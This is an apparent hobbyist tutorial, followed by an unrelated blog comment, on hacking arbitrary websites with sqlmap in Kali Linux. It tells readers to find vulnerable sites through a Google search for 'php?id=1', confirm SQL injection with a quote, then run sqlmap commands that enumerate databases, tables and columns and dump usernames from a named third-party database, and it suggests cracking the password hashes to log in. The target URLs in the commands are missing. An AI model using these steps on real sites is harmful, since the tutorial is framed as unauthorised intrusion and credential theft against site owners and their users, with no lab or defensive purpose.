So you’re on the point that you want to hack websites with Kali Linux? Well, then you’re in the right place! Today I’m going to show you how to hack a site with sqlmap in Kali Linux.

Step 1: Fire Up Kali Linux

I guess you know how to do this step 😀

Step 2: Start a New Terminal

Start by opening a new terminal. We’ll use this terminal later.

Step 3: Find a Vulnerable Website

Go to Google and search for: php?id=1. If you found a site that got that in their link put an ‘ after the 1. If it says that there’s a problem with the SQL syntax then the site is vulnerable.

Step 4: Using Sqlmap to Hack It

In your terminal type:

sqlmap -u –dbs

( is my vulnerable url)

Now it’s going to load the databases…

If that’s done you’ll need to select a database by typing:

sqlmap -u -D angelvest_china –tables

(angelvest_china is the database I found)

Now it’s going to load all the information that’s in the database you’ve selected.

Now you’ll need to select a table by typing:

sqlmap -u -D angelvest_china -T db_user –column

(db_user is the table I found)

Now you need to select a column by typing:

sqlmap -u -D angelvest_china -T db_user -C username –dump

(username is the name of the column that I found)

Now it will dump the information in the column username and: you’ve hacked it! (On that site there is a column called passwords too so you just need to decrypt the hashes in that column and boom! You can login.)

Congrats! You’ve just hacked a website with sqlmap! If you liked the instructable you should take a look at my other instructables too! Stay tuned for more!


  1. Today, I went to the beachfront with my children. I found a sea
    shell and gave it to my 4 year old daughter
    and said “You can hear the ocean if you put this to your ear.” She put the shell to her ear
    and screamed. There was a hermit crab inside and it pinched her ear.
    She never wants to go back! LoL I know this is totally off topic but I had to
    tell someone!
